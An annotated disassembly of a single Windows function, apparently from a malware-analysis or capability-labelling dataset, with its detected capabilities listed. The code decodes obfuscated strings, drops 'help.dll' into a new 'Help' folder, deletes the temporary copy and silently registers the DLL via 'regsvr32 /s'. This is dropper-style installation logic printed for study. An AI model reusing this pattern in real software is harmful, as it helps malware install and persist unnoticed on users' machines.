Function at 0x411e40
Capabilities:
Copy file
Create directory
Create process on windows
Create thread
Delete file
Get common file path
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43fd8b
mov eax, dword fs:[0]
push eax
sub esp, 0x4c0
mov eax, dword [0x44f598]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [edi + 0x3f8], 0x10
mov esi, dword [edi + 0x3f4]
lea edx, [edi + 0x3e4]
jb 0x411e86
mov edx, dword [edx]
mov eax, 1
cmp esi, eax
cmovb eax, esi
push eax
push 0x442420
push edx
call fcn.00401010
add esp, 0xc
test eax, eax
jne 0x411eb7
cmp esi, 1
jae 0x411ead
or eax, 0xffffffff
jmp 0x411eb5
xor eax, eax
cmp esi, 1
setne al
test eax, eax
sete al
test al, al
je 0x4123cc
push 0x442424
lea ecx, [ebp - 0x498]
call fcn.0040f050
xor ecx, ecx
mov dword [ebp - 4], 0
cmp dword [ebp - 0x488], ecx
jbe 0x411f12
mov edx, 0xfffe
jmp 0x411ef0
cmp dword [ebp - 0x484], 8
lea eax, [ebp - 0x498]
cmovae eax, dword [ebp - 0x498]
inc ecx
add word [eax + ecx*2 - 2], dx
cmp ecx, dword [ebp - 0x488]
jb 0x411ef0
push 9
xor eax, eax
push str.693vg1hh
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x424], 7
mov dword [ebp - 0x428], 0
mov word [ebp - 0x438], ax
call fcn.00412fe0
xor ecx, ecx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x428], ecx
jbe 0x411f82
mov edx, 0xfffd
jmp 0x411f60
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
inc ecx
add word [eax + ecx*2 - 2], dx
cmp ecx, dword [ebp - 0x428]
jb 0x411f60
sub esp, 0x18
mov ecx, esp
xor eax, eax
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp - 0x498]
push eax
call fcn.00412ec0
call fcn.0041ccf0
add esp, 0x18
test eax, eax
jne 0x412385
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], 7
push eax
mov word [ecx], ax
lea eax, [ebp - 0x438]
push eax
call fcn.00412ec0
call fcn.0041ccf0
add esp, 0x18
test eax, eax
jne 0x412385
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call fcn.00426dc0
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
mov dword [ebp - 0x454], 7
mov dword [ebp - 0x458], 0
mov word [ebp - 0x468], ax
mov dword [ebp - 0x43c], 7
mov dword [ebp - 0x440], eax
mov word [ebp - 0x450], ax
mov byte [ebp - 4], 3
cmp word [ebp - 0x218], ax
jne 0x41205d
xor ecx, ecx
jmp 0x412075
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412066
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x468]
call fcn.00412fe0
push 0xa
push str.helper.dll
lea ecx, [ebp - 0x468]
call fcn.00412d90
push 0
push 0x1c
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
cmp word [ebp - 0x420], 0
jne 0x4120bb
xor ecx, ecx
jmp 0x4120d3
lea ecx, [ebp - 0x420]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4120c4
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x450]
call fcn.00412fe0
push 5
push str.Help
lea ecx, [ebp - 0x450]
call fcn.00412d90
cmp dword [ebp - 0x43c], 8
lea eax, [ebp - 0x450]
cmovae eax, dword [ebp - 0x450]
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
push 9
push str.help.dll
lea ecx, [ebp - 0x450]
call fcn.00412d90
cmp dword [edi + 0x410], 0x10
lea eax, [edi + 0x3fc]
jb 0x41213a
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x4b0]
push eax
call fcn.0041d030
push 0x44
mov byte [ebp - 4], 4
call fcn.00425b39
add esp, 0xc
mov dword [ebp - 0x4cc], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x41217e
push 0
lea ecx, [ebp - 0x4b0]
push ecx
lea ecx, [ebp - 0x468]
push ecx
mov ecx, eax
call fcn.00419a20
mov esi, eax
jmp 0x412180
xor esi, esi
lea eax, [esi + 8]
push eax
push 4
push esi
push 0x4126b0
push 0
push 0
mov byte [ebp - 4], 4
mov byte [esi + 0xd], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 4], eax
test eax, eax
je 0x4121ac
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x43c], 8
lea ecx, [ebp - 0x450]
cmovae ecx, dword [ebp - 0x450]
cmp dword [ebp - 0x454], 8
push 0
lea eax, [ebp - 0x468]
cmovae eax, dword [ebp - 0x468]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp dword [ebp - 0x454], 8
lea eax, [ebp - 0x468]
cmovae eax, dword [ebp - 0x468]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xd
push str.regsvr32__s__
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x46c], 0xf
mov dword [ebp - 0x470], 0
mov byte [ebp - 0x480], 0
call fcn.004046c0
cmp dword [ebp - 0x43c], 8
lea eax, [ebp - 0x450]
cmovae eax, dword [ebp - 0x450]
push eax
lea eax, [ebp - 0x4c8]
push eax
mov byte [ebp - 4], 6
call fcn.00420200
add esp, 8
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x480]
mov byte [ebp - 4], 7
call fcn.0040b150
cmp dword [ebp - 0x4b4], 0x10
mov byte [ebp - 4], 6
jb 0x412288
push dword [ebp - 0x4c8]
call fcn.00425b0a
add esp, 4
push 1
push 0x449db4
lea ecx, [ebp - 0x480]
call fcn.0040dcf0
cmp dword [ebp - 0x46c], 0x10
lea eax, [ebp - 0x480]
cmovae eax, dword [ebp - 0x480]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [ebp - 0x46c], 0x10
jb 0x4122ce
push dword [ebp - 0x480]
call fcn.00425b0a
add esp, 4
cmp dword [ebp - 0x49c], 8
mov dword [ebp - 0x46c], 0xf
mov dword [ebp - 0x470], 0
mov byte [ebp - 0x480], 0
jb 0x412300
push dword [ebp - 0x4b0]
call fcn.00425b0a
add esp, 4
xor eax, eax
cmp dword [ebp - 0x43c], 8
mov dword [ebp - 0x49c], 7
mov dword [ebp - 0x4a0], 0
mov word [ebp - 0x4b0], ax
jb 0x412334
push dword [ebp - 0x450]
call fcn.00425b0a
add esp, 4
xor eax, eax
cmp dword [ebp - 0x454], 8
mov dword [ebp - 0x43c], 7
mov dword [ebp - 0x440], 0
mov word [ebp - 0x450], ax
jb 0x412368
push dword [ebp - 0x468]
call fcn.00425b0a
add esp, 4
xor eax, eax
mov dword [ebp - 0x454], 7
mov dword [ebp - 0x458], 0
mov word [ebp - 0x468], ax
cmp dword [ebp - 0x424], 8
jb 0x41239c
push dword [ebp - 0x438]
call fcn.00425b0a
add esp, 4
xor eax, eax
cmp dword [ebp - 0x484], 8
mov word [ebp - 0x438], ax
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], 7
jb 0x4123cc
push dword [ebp - 0x498]
call fcn.00425b0a
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00426314
mov esp, ebp
pop ebp
ret